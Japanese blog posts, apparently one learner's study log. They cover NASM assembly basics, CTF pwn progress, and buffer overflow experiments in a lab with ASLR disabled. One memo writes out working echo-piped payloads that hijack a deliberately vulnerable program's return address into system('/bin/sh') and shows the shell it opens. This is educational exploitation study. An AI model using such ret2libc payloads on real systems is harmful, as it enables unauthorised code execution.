アセンブリ言語について少し学ぶ

書き出し

アセンブリ言語について少し学ぶ。 メモ程度のもの。

本文

コマンド

# nasmは Netwide Assemblerの略称
nasm -f<format> <in> -o <out>
#optin
#-f : format
# リンク用のGNUコマンド
ld -o <out> <in>

メモ

hello.asm

global _start

section .data
message:db 'hello, world!',10

section .text
_start:
    mov rax, 1
    mov rdi, 1
    mov rsi, message
    mov rdx, 15
    syscall
    mov rax, 60
    xor rdi, rdi
    syscall

この場合、.data(global 変数)db(data byte)の変数mesageを配置している。 また命令セクションである.textに_start命令を配置し、syscallの呼び出し準備を行う。

syscall呼び出し時のレジスタ内部

今回自分の中で確認するために、はじめのwriteのコール時のシステムコールを元に解釈していく。

レジスタ 意味 内容
rax 1 system call system call number
rdi 1 第一引数 discription(書き込み先)
rsi message 第二引数 文字列の先頭アドレス
rdx 14 第三引数 書き込むバイト数

C言語で表すとこのような表示になる。

#include <unistd.h>
ssize_t write(int fd , const void * buf , size_t count );

syscall実行時にraxからwriteが実行され、引数として先頭からrdi,rsi,rdxが配置される。

変数の定義

表記 意味
db data byte|1byte
dw data word|2byte
dd data double word|4byte
dq data quad word|8byte

section .data
example1:db 1, 1, 2, 3, 5, 7
example2:times 999 db 1
example3:dw 999

times はn回文cmdを繰り返すことを意味する。

変数(data)は、どのセクションの内側でも作ることができる。 CPUから見ればデータも一つの命令となるので解釈される。

ニーモニック

実際にelfファイルにし、確認してみようと思う。

次のような内容になっており。しっかりと.data.textにセクションが割り当てられていることがわかる。

$ objdump -D hello
hello:     ファイル形式 elf64-x86-64


セクション .text の逆アセンブル:

00000000004000b0 <_start>:
  4000b0:       b8 01 00 00 00          mov    $0x1,%eax
  4000b5:       bf 01 00 00 00          mov    $0x1,%edi
  4000ba:       48 be d8 00 60 00 00    movabs $0x6000d8,%rsi
  4000c1:       00 00 00
  4000c4:       ba 0f 00 00 00          mov    $0xf,%edx
  4000c9:       0f 05                   syscall
  4000cb:       b8 3c 00 00 00          mov    $0x3c,%eax
  4000d0:       48 31 ff                xor    %rdi,%rdi
  4000d3:       0f 05                   syscall

セクション .data の逆アセンブル:

00000000006000d8 <message>:
  6000d8:       68 65 6c 6c 6f          pushq  $0x6f6c6c65
  6000dd:       2c 20                   sub    $0x20,%al
  6000df:       77 6f                   ja     600150 <_end+0x68>
  6000e1:       72 6c                   jb     60014f <_end+0x67>
  6000e3:       64 21 0a                and    %ecx,%fs:(%rdx)

局所ラベルの利用とレジスタの出力

section .data
codes:
    db '0123456789ABCDEF'

section .text
global _start
_start:
    mov rax, 0x1122334455667788
    mov rdi, 1
    mov rdx, 1
    mov rcx, 64
    jmp .loop
    ;このstartで、rax内に値が存在する状況を生成。

.loop:
    ; 16文字の出力を行うためにこのloopで出力を行う。
    ; 先の_startで設定したカウンタレジスタ内に16バイト分の数値を設定し、それを減算することにより文字列を出力する。
    push rax    
    ; raxの値を退避させることにより、値を保持。
    sub rcx, 4  
    sar rax, cl
    and rax, 0xf
    lea rsi, [codes + rax]
    ;[codes + rax]は相対アドレスを意味する。
    mov rax, 1
    push rcx
    syscall
    pop rcx
    pop rax
    test rcx, rcx
    jnz .loop
    ; testで0でないことを確認してから、.loopへ飛ばす。
    ; 文字数がなくなった時点でloop処理を終了し、exitする。
    mov rax, 60
    xor rdi, rdi
    syscall

.loopのように先頭にピリオドを配置することにより局所的なラベルとして機能する。

今回の場合_start.loopという扱いになる。

$ objdump -D ./print_rax

./print_rax:     ファイル形式 elf64-x86-64


セクション .text の逆アセンブル:

00000000004000b0 <_start>:
  4000b0:       48 b8 88 77 66 55 44    movabs $0x1122334455667788,%rax
  4000b7:       33 22 11
  4000ba:       bf 01 00 00 00          mov    $0x1,%edi

  4000bf:       ba 01 00 00 00          mov    $0x1,%edx
  4000c4:       b9 40 00 00 00          mov    $0x40,%ecx
  4000c9:       eb 00                   jmp    4000cb <_start.loop>

00000000004000cb <_start.loop>:
  4000cb:       50                      push   %rax
  4000cc:       48 83 e9 04             sub    $0x4,%rcx
  4000d0:       48 d3 f8                sar    %cl,%rax
  4000d3:       48 83 e0 0f             and    $0xf,%rax
  4000d7:       48 8d b0 f8 00 60 00    lea    0x6000f8(%rax),%rsi
  4000de:       b8 01 00 00 00          mov    $0x1,%eax
  4000e3:       51                      push   %rcx
  4000e4:       0f 05                   syscall
  4000e6:       59                      pop    %rcx
  4000e7:       58                      pop    %rax
  4000e8:       48 85 c9                test   %rcx,%rcx
  4000eb:       75 de                   jne    4000cb <_start.loop>
  4000ed:       b8 3c 00 00 00          mov    $0x3c,%eax
  4000f2:       48 31 ff                xor    %rdi,%rdi
  4000f5:       0f 05                   syscall

セクション .data の逆アセンブル:

00000000006000f8 <codes>:
  6000f8:       30 31                   xor    %dh,(%rcx)
  6000fa:       32 33                   xor    (%rbx),%dh
  6000fc:       34 35                   xor    $0x35,%al
  6000fe:       36                      ss
  6000ff:       37                      (bad)
  600100:       38 39                   cmp    %bh,(%rcx)
  600102:       41                      rex.B
  600103:       42                      rex.X
  600104:       43                      rex.XB
  600105:       44                      rex.R
  600106:       45                      rex.RB
  600107:       46                      rex.RX

関数のcall

いままではラベルを利用して、jampしそこで実行されるなどを行ってきたが、実際に関数をコールしたいと思う。

push rip
jmp <address>

このようにコールする際は、ripをstack内に保存し、ジャンプする。

関数の利用

実際に関数を利用し、printを実装する。

アセンブラで関数を実装するのには特にラベルとの違うところはない。

主に、異なる箇所は、retやpushによる値の保存を行っているところであろう。

section .data

demo1: dq 0x1122334455667788
demo2: db 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88
demo3: db '0123456789abcdef'
newline_char: db 10

section .text
global _start

print_newline:
    ; いつもの初期設定
    mov rax, 1
    mov rdi, 1
    mov rsi, newline_char
    mov rdx, 1
    syscall
    ret

print_hex:
    mov rax, rdi
    mov rdi, 1
    mov rdx, 1
    mov rcx, 64
    ; rax をシフトするビット数

iterate:
    push rax
    sub rcx, 4
    sar rax, cl
    ; 右にシフト回転させる
    and rax, 0xf
    ; 下位4ビット以外を初期化
    lea rsi, [codes + rax]
    ; 16進数の文字コードを取得
    mov rax, 1
    push rcx ; write自体がrcxを破壊するので退避する。
    syscall
    pop rcx
    pop rax
    test rcx, rcx
    jnz iterate
    ret

_start:
    mov rdi, [demo1]
    ; [demo1]がdemo1の先頭アドレスをを与える。
    call print_hex
    call print_newline

    mov rdi, [demo2]
    call print_hex
    call print_newline

    mov rdi, [demo3]
    call print_hex
    call print_newline

    mov rax, 60
    xor rdi, rdi
    syscall

何かあれば追記する。

登竜門的なものを叩いてみる話 #02

書き出し

記事を解いたら解けた。

前回の記事の継続です。

本文

年明けから考えてた目標を一つクリアしたので満足しています。

知識的に前回の記事の知識と、 azara.hatenablog.com

katagaitai CTF勉強会の#2のスライドを読んだら解けたので困っている人がいたら読んでみてください。

画像群

f:id:oukasakura3:20190216182240p:plain
villeger Bを解いた
f:id:oukasakura3:20190216182237p:plain
証跡

登竜門的なものを叩いてみる話 #01

書き出し

「Pwnをしてみたい。」

と思ったのでctf4u のpwn challenges listを進めてみる。

本文

villager Bが解けたらブログを書こうと思っていたのですが、少し長引きそうだなと思ったので、先にvillager Aを解いたことを報告するブログを書こうと思い書きました。

Playする前にハロー“Hello, World"OSと標準ライブラリのシゴトとしくみとハリネズミ本に目を通していたのでそこまで不便することなく解けました。

各本で助かったこと

ハロー“Hello, World"OSと標準ライブラリのシゴトとしくみ

  • GDBの使い方をあまり意識せずに使えるようになっていた。
  • 引数を含めたStackの構造を先に学んでいたので、ハリネズミ本で言っている内容がすんなり入る。

ハリネズミ

  • 調査の仕方や、exploit codeの書き方などが学べた。
  • セキュリティ機構などについてまとめられていて、調査の手法など多くを得られた。
  • eipを制御下に置く方法について触れられた。(模擬的なcall)
  • ちょっとだけx86に抵抗感がなくなった。

所感

villager Aとvillager Bの難易度の差に少しびっくりしていますが、今後も少しづつ進めていきたい。

バッファオーバーフロー入門のためにしたメモ その2

書き出し

前回の継続で勉強した内容を書き出す記事です。

azara.hatenablog.com

環境

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

$ uname -a
Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ sudo sysctl -w kernel.randomize_va_space=0

$ gcc --version
gcc (Ubuntu 4.8.4-2ubuntu1~14.04.4) 4.8.4
Copyright (C) 2013 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

実験

実験コード

#include<stdio.h>
#include<string.h>

char buf[64];

int
main()
{
    char local[64];
    printf("buffer 0x%x \n",&buf);
    fgets(local,128,stdin);
    strcpy(buf,local);
    return 0;
}

観察

前回の観察で実際にバッファーから値が漏れ出すことを確認できたので、それをもう少し知識を深くしていく。

[1] 溢れ出た値の確認

先の実験でも確認していた実効アドレス(EIP)の書き換えを行うと指定したアドレスに飛んでくれるそうなのでそれを悪用していこうと思う。

アドレスを書き換えられた様子

$ python -c 'print("A"*70)' | strace -i ./ret 
[00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0
[ Process PID=16520 runs in 32 bit mode. ]
[f7ff1ee9] brk(0)                       = 0x804b000
[f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000
~~~中略~~~
[f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000
[f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81
[41414141] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
[????????????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (コアダンプ)

実際に動かすに際し、このようなアドレスにブレークポイントを設置する。

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804849d <+0>:  push   ebp
   0x0804849e <+1>:  mov    ebp,esp
   0x080484a0 <+3>:  and    esp,0xfffffff0
   0x080484a3 <+6>:  sub    esp,0x50
   0x080484a6 <+9>:  mov    DWORD PTR [esp+0x4],0x804a060
   0x080484ae <+17>: mov    DWORD PTR [esp],0x8048590
   0x080484b5 <+24>: call   0x8048350 <printf@plt>
   0x080484ba <+29>: mov    eax,ds:0x804a040
   0x080484bf <+34>: mov    DWORD PTR [esp+0x8],eax
   0x080484c3 <+38>: mov    DWORD PTR [esp+0x4],0x80
   0x080484cb <+46>: lea    eax,[esp+0x10]
   0x080484cf <+50>: mov    DWORD PTR [esp],eax
   0x080484d2 <+53>: call   0x8048360 <fgets@plt>
   0x080484d7 <+58>: lea    eax,[esp+0x10]
   0x080484db <+62>: mov    DWORD PTR [esp+0x4],eax
   0x080484df <+66>: mov    DWORD PTR [esp],0x804a060
   0x080484e6 <+73>: call   0x8048370 <strcpy@plt>
   0x080484eb <+78>: mov    eax,0x0
   0x080484f0 <+83>: leave  
   0x080484f1 <+84>: ret    
End of assembler dump.
gdb-peda$ b main 
Breakpoint 1 at 0x80484a0
gdb-peda$ b *main+53
Breakpoint 2 at 0x80484d2
gdb-peda$ b *main+83
Breakpoint 3 at 0x80484f0

プログラム起動直後のスタック領域としては次のようになるだろう。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | アドレスに入っていたデータ
    +------------------+
    |Saved EBP         | 0x00000000
    +------------------+
    |Return Address    | 0xf7e2caf3 in __libc_start_main () 
    +------------------+
0xffffffff方向
高位アドレス

入力をしてスタックの様子を確認しよう。 入力値として今回は'A'*70を入力

gdb-peda$ where
#0  0x080484d7 in main ()
#1  0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#2  0x080483c1 in _start ()
gdb-peda$ x/32xw $esp
0xffffd670: 0xffffd680  0x00000080  0xf7fc0c20  0xf7e462f3
0xffffd680: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd690: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6a0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6b0: 0x41414141  0x41414141  0x41414141  0x41414141
0xffffd6c0: 0x41414141  0x000a4141  0x00000000  0xf7e2caf3
0xffffd6d0: 0x00000001  0xffffd764  0xffffd76c  0xf7feae6a
0xffffd6e0: 0x00000001  0xffffd764  0xffffd704  0x0804a01c

確保した領域からは完全にはみ出しているが、 0x080484a0 <+3>: and esp,0xfffffff0で揃えられた領域で受け止めているのでSaved EBP とReturn Address は汚染されていない。

書き換えまでおおよそ10文字程度であると考えるのでpython -c 'print("A"*76+[address])'で任意のアドレスに飛びそうだと考えられる。

まずは実際に動くのかを確認するためにmain() の際呼び出しをしていく。

[2] アドレスの書き換え

アドレスを書き換えるために飛ばしたい先のアドレスをリトルエンディアンに変更しなければならない。

もしかするとどこかに良いツールがあったりコマンドがあるのかもしれないが、作ってしまった方が早いと思い、\x数値のような形で変換するツールを作った。

これを実際に利用してアドレスを変換しつつ、アドレスの書き換えが可能なのか確認する。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./ret
buffer 0x804a060 
buffer 0x804a060 
Segmentation fault (コアダンプ)

実際に2度動いた。

確認のためにstraceをかませてみよう。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|strace -i ./ret
[00007ffff7ad6137] execve("./ret", ["./ret"], [/* 21 vars */]) = 0
[ Process PID=17009 runs in 32 bit mode. ]
[f7ff1ee9] brk(0)                       = 0x804b000
[f7ff3a81] access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
[f7ff3b53] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fda000
[f7ff3a81] access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
[f7ff3984] open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
[f7ff390d] fstat64(3, {st_mode=S_IFREG|0644, st_size=89006, ...}) = 0
[f7ff3b53] mmap2(NULL, 89006, PROT_READ, MAP_PRIVATE, 3, 0) = 0xfffffffff7fc4000
~~~中略~~~
[f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 
) = 18
[f7fdb430] fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
[f7fdb430] mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xfffffffff7fd8000
[f7fdb430] read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 4096) = 81
[f7fdb430] write(1, "buffer 0x804a060 \n", 18buffer 0x804a060 
) = 18
[f7fdb430] read(0, "", 4096)            = 0
[0000000a] --- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0xa} ---
[????????????????] +++ killed by SIGSEGV (core dumped) +++
Segmentation fault (コアダンプ)

f7fdb430が2度確認できるので実際に2度動作したことがわかった。

[3] 任意の命令実行

Returnアドレスの変化を確認したので実行ファイル内に存在する命令を呼び出してみる。

はじめにPLT(Procedure Linkage Table)内部のアドレスに書き換えてみる。

  • ざっくり自分用メモ PLT : プログラムが実行する関数を一覧としてまとめたもの。

まずはobjdumpでplt内部のアドレス情報を把握する。

$ objdump -d -j .plt --no ret

ret:     ファイル形式 elf32-i386


セクション .plt の逆アセンブル:

08048340 <printf@plt-0x10>:
 8048340:  pushl  0x804a004
 8048346:  jmp    *0x804a008
 804834c:   add    %al,(%eax)
    ...

08048350 <printf@plt>:
 8048350:  jmp    *0x804a00c
 8048356:  push   $0x0
 804835b:   jmp    8048340 <_init+0x28>

08048360 <fgets@plt>:
 8048360:  jmp    *0x804a010
 8048366:  push   $0x8
 804836b:   jmp    8048340 <_init+0x28>

08048370 <strcpy@plt>:
 8048370:  jmp    *0x804a014
 8048376:  push   $0x10
 804837b:   jmp    8048340 <_init+0x28>

08048380 <__gmon_start__@plt>:
 8048380:  jmp    *0x804a018
 8048386:  push   $0x18
 804838b:   jmp    8048340 <_init+0x28>

08048390 <__libc_start_main@plt>:
 8048390:  jmp    *0x804a01c
 8048396:  push   $0x20
 804839b:   jmp    8048340 <_init+0x28>

今回はprintを実行するので、先ほどのecho -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x9d\x84\x04\x08'|./retにアドレスをと必要なものを書き足していく。

関数の実行時には、引数が必要な場合があるので、それも考慮しながらアドレスを配置する。

このアドレスの配置の際、mainのret命令が擬似call命令となるため、そこを見落としてはならない。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | 0x41414141 ...
    +------------------+
    |Saved EBP         | 0x41414141
    +------------------+
    |Return Address    | 0x08048350 printf@plt : 擬似的なcall
    +------------------+
    |擬似call ret add   | 0x080484ae main
    +------------------+
    |call arg1         | 0x0804a060 変数buf
    +------------------+
    |call arg2         | ?
    +------------------+
0xffffffff方向
高位アドレス

そして実際に実行してみる。

$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x50\x83\x04\x08\xae\x84\x04\x08\x60\xa0\x04\x08'|./ret
buffer 0x804a060 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP?`?
buffer 0xffff000a 
Segmentation fault (コアダンプ)

入力した値と、bufferのアドレスが表示されたので想定通りの動きにはなっている。ここで2度目のbufferが変化していることに気づくが今回は触れないでおく。

次に実行ファイルにリンクしているlibcから命令を呼び出してみる。

実際に実行ファイル内にlibcが確認できるのでこれらを先ほどのアドレスに当てはめていく。

gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e53310 <system>
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0xf7e60410 <printf>
gdb-peda$ p fgets
$3 = {<text variable, no debug info>} 0xf7e76ca0 <fgets>
gdb-peda$ p malloc
$4 = {<text variable, no debug info>} 0xf7ff1810 <malloc>

今回はシェルを立ち上げるために/bin/sh #を先頭に割り当て、systemでそれを実行する。

0x00000000方向
低位アドレス
    +------------------+
    |buf[0x50]      | 0x6e69622f 0x2068732f 0x00000a23 0x41414141 ...
    +------------------+
    |Saved EBP         | 0x41414141
    +------------------+
    |Return Address    | 0xf7e53310 <system> : 擬似的なcall
    +------------------+
    |擬似call ret add   | 0x080484ae main
    +------------------+
    |call arg1         | 0x0804a060 変数buf
    +------------------+
    |call arg2         | ?
    +------------------+
0xffffffff方向
高位アドレス

そして実際に実行してみる。

$ (echo -e '/bin/sh #AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x10\x33\xe5\xf7\xae\x84\x04\x08\x60\xa0\x04\x08'; cat)|./ret
buffer 0x804a060 
ls
gadget  gadget.c  peda-session-ret.txt  ret  ret.c  test
exit
buffer 0xffff000a 
ls
exit
Segmentation fault (コアダンプ)

シェルの起動を確認し、コマンド入力も可能なことがわかった。

今回のメモはここまで。

参考書籍/サイト

ハロー“Hello, World” OSと標準ライブラリのシゴトとしくみ

Debugging with GDB - データの検査

セキュリティコンテストチャレンジブック -CTFで学ぼう! 情報を守るための戦い方

バッファオーバーフロー入門のためにしたメモ

書き出し

低い分野の脆弱性が理解できていないので実際にやった実験とそれを実況形式で書き示します。

環境

$ cat /etc/os-release 
NAME="Ubuntu"
VERSION="14.04, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

$ uname -a
Linux nori 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

実験

実験用コード

buf_over.c

#include<stdio.h>
int 
main(int argc,char *argv[])
{
    char buf[64];//※1
    printf("start fgets.\n");
    fgets(buf,128,stdin);//※2
    printf("\nend fgets.\n");
    printf(buf); 
    return 0;
}

3番目のprintf(3)で書式文字列攻撃ができそうだけどここでは確認用なので放置。

※1 : 関数内変数を文字型で64バイト
※2 : fgets(3)で標準入力を受けるも128バイトと大幅なサイズオーバー

観察

Hello Worldなどを読んで若干ではあるがStackの動きやメモリへの書き込みを学んでいるので、ここで少し考察をしながら確認をして行こうと考えます。

[1] buf[64]の確保

main関数内で定義されたbuf[64]は、スタックフレーム上にメモリ空間を確保すると思われる。

おおよそasmでのこの部分で確保しているのであろう。

   0x0804849d <+0>:  push   ebp
   0x0804849e <+1>:  mov    ebp,esp
   0x080484a0 <+3>:  and    esp,0xfffffff0
=> 0x080484a3 <+6>:  sub    esp,0x50 //ここで変数の確保
   0x080484a6 <+9>:  mov    DWORD PTR [esp],0x8048580

実際にフレームを感が思い浮かべてみるとこのような形になるのだろうか。

0x00000000方向
低位アドレス
    +------------------+
    |buffer[64]        |
    +------------------+
    |Saved EBP         |
    +------------------+
    |Return Address    |
    +------------------+
0xffffffff方向
高位アドレス

それでは実施のリターンアドレスはどのように格納されているのだろうか?それを確認しに行こう。

gdb-peda$ where
#0  0x080484ca in main ()
#1  0xf7e2caf3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
#2  0x080483c1 in _start ()

バックとレースではこのように表示されている。 それでは実際のスタック領域ではどのようになっているのだろうか。

gdb-peda$ x/64xw $esp
0xffffd680:    0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3
0xffffd690:    0x00000000 0x00c30000 0x00000001 0x08048321
0xffffd6a0:    0xffffd894 0x0000002f 0x0804a000 0x08048542
0xffffd6b0:    0x00000001 0xffffd774 0xffffd77c 0xf7e464ad
0xffffd6c0:    0xf7fc03c4 0xf7ffd000 0x080484fb 0xf7fc0000
0xffffd6d0:    0x080484f0 0x00000000 0x00000000 0xf7e2caf3
0xffffd6e0:    0x00000001 0xffffd774 0xffffd77c 0xf7feae6a
0xffffd6f0:    0x00000001 0xffffd774 0xffffd714 0x0804a01c
0xffffd700:    0x08048250 0xf7fc0000 0x00000000 0x00000000
0xffffd710:    0x00000000 0x50781f72 0x6a40bb62 0x00000000
0xffffd720:    0x00000000 0x00000000 0x00000001 0x080483a0
0xffffd730:    0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000
0xffffd740:    0x00000001 0x080483a0 0x00000000 0x080483c1
0xffffd750:    0x0804849d 0x00000001 0xffffd774 0x080484f0
0xffffd760:    0x08048560 0xf7feb300 0xffffd76c 0x0000001c
0xffffd770:    0x00000001 0xffffd894 0x00000000 0xffffd8a9

0xffffd6d0の行で6列目にwhereによって確認された0xf7e2caf3を発見。

つまるところこの位置が目印となるReturn Addressになる。

※ 自分用メモ : sub esp,0x50 でポインタを移動させているだけなのでメモリ内部は初期化されていない。

f:id:oukasakura3:20190128221824p:plain
ローカル変数のメモリ領域を確保するまで

[2] buf[64]への書き込み

実際に書き込みをしてみる。

このままgdbを進めてみると、fgets(3)が作動する。

   0x080484c7 <+42>:    mov    DWORD PTR [esp],eax
   0x080484ca <+45>:    call   0x8048360 <fgets@plt>
=> 0x080484cf <+50>:    mov    DWORD PTR [esp],0x804858d

実際にA*64を入力してみて、64も自分のメモリ空間を埋めてみる。

すると、メモリ領域に変化が見えた。

ESP: 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...)

ESPでは0xffffd680のアドレスをさしており、そのアドレスが参照しているアドレスが0xffffd690となる。

実際にそのアドレスを見てみると、

gdb-peda$ x/64xw $esp
0xffffd680:    0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3
0xffffd690:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6a0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6b0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6c0:    0x41414141 0x41414141 0x41414141 0x41414141
0xffffd6d0:    0x0804000a 0x00000000 0x00000000 0xf7e2caf3
0xffffd6e0:    0x00000001 0xffffd774 0xffffd77c 0xf7feae6a
0xffffd6f0:    0x00000001 0xffffd774 0xffffd714 0x0804a01c
0xffffd700:    0x08048250 0xf7fc0000 0x00000000 0x00000000
0xffffd710:    0x00000000 0x9ce8c9fd 0xa6d06ded 0x00000000
0xffffd720:    0x00000000 0x00000000 0x00000001 0x080483a0
0xffffd730:    0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000
0xffffd740:    0x00000001 0x080483a0 0x00000000 0x080483c1
0xffffd750:    0x0804849d 0x00000001 0xffffd774 0x080484f0
0xffffd760:    0x08048560 0xf7feb300 0xffffd76c 0x0000001c
0xffffd770:    0x00000001 0xffffd894 0x00000000 0xffffd8a9

そう0x414141....とメモリ空間を埋めている。64文字分しっかりと埋めていた。

この入力を実際に実行ファイルに入力してみる。

$ python -c 'print("A"*64)'|./buf 
start fgets.

end fgets.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

問題なく終了した。それでは、64文字以上の文字列を入れたらどうなるのだろうか?ここで初歩的な疑問にやっとのことたどり着いた。

[3] 過剰な入力

それではどれほど入力してみようか、と私は考える。はじめはできる限り多めの入力をしておこう。

ならば上限である128文字を入力しよう。

$ python -c 'print("A"*128)'| ./buf 
start fgets.

end fgets.
Segmentation fault (コアダンプ)

まぁ、そうなりますはな....

gdbで実際に見てみよう。

gdb-peda$ x/64xw $esp
0xffffd680:    0xffffd690 0x00000080 0xf7fc0c20 0xf7e462f3
0xffffd690:    0x00000000 0x00c30000 0x00000001 0x08048321
0xffffd6a0:    0xffffd894 0x0000002f 0x0804a000 0x08048542
0xffffd6b0:    0x00000001 0xffffd774 0xffffd77c 0xf7e464ad
0xffffd6c0:    0xf7fc03c4 0xf7ffd000 0x080484fb 0xf7fc0000
0xffffd6d0:    0x080484f0 0x00000000 0x00000000 0xf7e2caf3
0xffffd6e0:    0x00000001 0xffffd774 0xffffd77c 0xf7feae6a
0xffffd6f0:    0x00000001 0xffffd774 0xffffd714 0x0804a01c
0xffffd700:    0x08048250 0xf7fc0000 0x00000000 0x00000000
0xffffd710:    0x00000000 0x818fa802 0xbbb70c12 0x00000000
0xffffd720:    0x00000000 0x00000000 0x00000001 0x080483a0
0xffffd730:    0x00000000 0xf7ff0660 0xf7e2ca09 0xf7ffd000
0xffffd740:    0x00000001 0x080483a0 0x00000000 0x080483c1
0xffffd750:    0x0804849d 0x00000001 0xffffd774 0x080484f0
0xffffd760:    0x08048560 0xf7feb300 0xffffd76c 0x0000001c
0xffffd770:    0x00000001 0xffffd894 0x00000000 0xffffd8a9
gdb-peda$ n
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[-----------------------------------registers-----------------------------------]
EAX: 0xffffd690 ('A' <repeats 15 times>...)
EBX: 0xf7fc0000 --> 0x1acda8 
ECX: 0xffffd690 ('A' <repeats 15 times>...)
EDX: 0xf7fc18a4 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd6d8 ('A' <repeats 15 times>...)
ESP: 0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...)
EIP: 0x80484cf (<main+50>:  mov    DWORD PTR [esp],0x804858d)
[-------------------------------------code--------------------------------------]
   0x80484c3 <main+38>:  lea    eax,[esp+0x10]
   0x80484c7 <main+42>:  mov    DWORD PTR [esp],eax
   0x80484ca <main+45>:  call   0x8048360 <fgets@plt>
=> 0x80484cf <main+50>:  mov    DWORD PTR [esp],0x804858d
   0x80484d6 <main+57>:  call   0x8048370 <puts@plt>
   0x80484db <main+62>:  lea    eax,[esp+0x10]
   0x80484df <main+66>:  mov    DWORD PTR [esp],eax
   0x80484e2 <main+69>:  call   0x8048350 <printf@plt>
[-------------------------------------stack-------------------------------------]
00:0000| esp     0xffffd680 --> 0xffffd690 ('A' <repeats 15 times>...)
01:0004|         0xffffd684 --> 0x80 
02:0008|         0xffffd688 --> 0xf7fc0c20 --> 0xfbad2288 
03:0012|         0xffffd68c --> 0xf7e462f3 (add    ebx,0x179d0d)
04:0016| ecx eax 0xffffd690 ('A' <repeats 15 times>...)
05:0020|         0xffffd694 ('A' <repeats 15 times>...)
06:0024|         0xffffd698 ('A' <repeats 15 times>...)
07:0028|         0xffffd69c ('A' <repeats 15 times>...)
[-------------------------------------------------------------------------------]
Legend: stack, code, data, heap, rodata, value
0x080484cf in main ()
gdb-peda$ x/64xw $esp
